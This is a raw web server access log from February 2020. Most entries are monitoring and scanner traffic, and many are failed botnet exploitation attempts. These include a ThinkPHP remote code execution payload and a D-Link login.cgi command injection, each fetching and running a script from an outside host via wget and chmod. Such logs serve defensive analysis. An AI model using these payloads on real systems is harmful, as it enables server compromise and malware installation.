42.117.22.191 - - [11/Feb/2020:12:55:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:12:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:12:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.12.78.161 - - [11/Feb/2020:12:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:12:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [11/Feb/2020:13:00:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
188.232.166.4 - - [11/Feb/2020:13:00:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [11/Feb/2020:13:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.244.51 - - [11/Feb/2020:13:04:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:13:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.249.124 - - [11/Feb/2020:13:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:13:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.196.76.250 - - [11/Feb/2020:13:06:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
89.233.249.192 - - [11/Feb/2020:13:06:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:13:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.61.15 - - [11/Feb/2020:13:07:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.146.189 - - [11/Feb/2020:13:07:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:13:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.43.168 - - [11/Feb/2020:13:08:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:13:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.251.72 - - [11/Feb/2020:13:10:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:13:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.179.46 - - [11/Feb/2020:13:13:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:13:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.162.81 - - [11/Feb/2020:13:16:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.128.241.71 - - [11/Feb/2020:13:16:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:13:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [11/Feb/2020:13:16:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [11/Feb/2020:13:16:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [11/Feb/2020:13:16:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [11/Feb/2020:13:17:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:13:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.73.157.9 - - [11/Feb/2020:13:18:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:13:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.17.101.71 - - [11/Feb/2020:13:21:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.107.233.78 - - [11/Feb/2020:13:21:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:13:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.95.151.112 - - [11/Feb/2020:13:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [11/Feb/2020:13:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.35.35.18 - - [11/Feb/2020:13:28:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:13:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.26.12.97 - - [11/Feb/2020:13:30:56 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [11/Feb/2020:13:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.59.210.169 - - [11/Feb/2020:13:35:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:13:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.35.173.108 - - [11/Feb/2020:13:36:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
188.68.99.231 - - [11/Feb/2020:13:37:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:13:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [11/Feb/2020:13:39:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [11/Feb/2020:13:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [11/Feb/2020:13:39:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:13:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.136.157.215 - - [11/Feb/2020:13:43:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:13:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.26.42 - - [11/Feb/2020:13:47:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:13:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.161.9 - - [11/Feb/2020:13:53:38 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [11/Feb/2020:13:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.168.84.112 - - [11/Feb/2020:13:54:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:13:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.180.86.47 - - [11/Feb/2020:13:56:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:13:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.92.226.106 - - [11/Feb/2020:13:58:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:13:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:13:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.70.104 - - [11/Feb/2020:14:02:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:14:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.15.134 - - [11/Feb/2020:14:03:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:14:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [11/Feb/2020:14:06:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
113.67.96.143 - - [11/Feb/2020:14:06:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
1.53.78.136 - - [11/Feb/2020:14:06:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:14:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [11/Feb/2020:14:11:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
83.97.20.34 - - [11/Feb/2020:14:11:15 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
83.97.20.34 - - [11/Feb/2020:14:11:29 +0100] "HEAD / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [11/Feb/2020:14:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [11/Feb/2020:14:12:11 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
83.97.20.34 - - [11/Feb/2020:14:12:25 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
212.91.246.72 - - [11/Feb/2020:14:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.117.125.132 - - [11/Feb/2020:14:12:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
103.81.153.57 - - [11/Feb/2020:14:12:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:14:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.194.110.13 - - [11/Feb/2020:14:14:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [11/Feb/2020:14:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.92.163 - - [11/Feb/2020:14:15:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:14:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:14:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.103.223 - - [11/Feb/2020:14:18:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
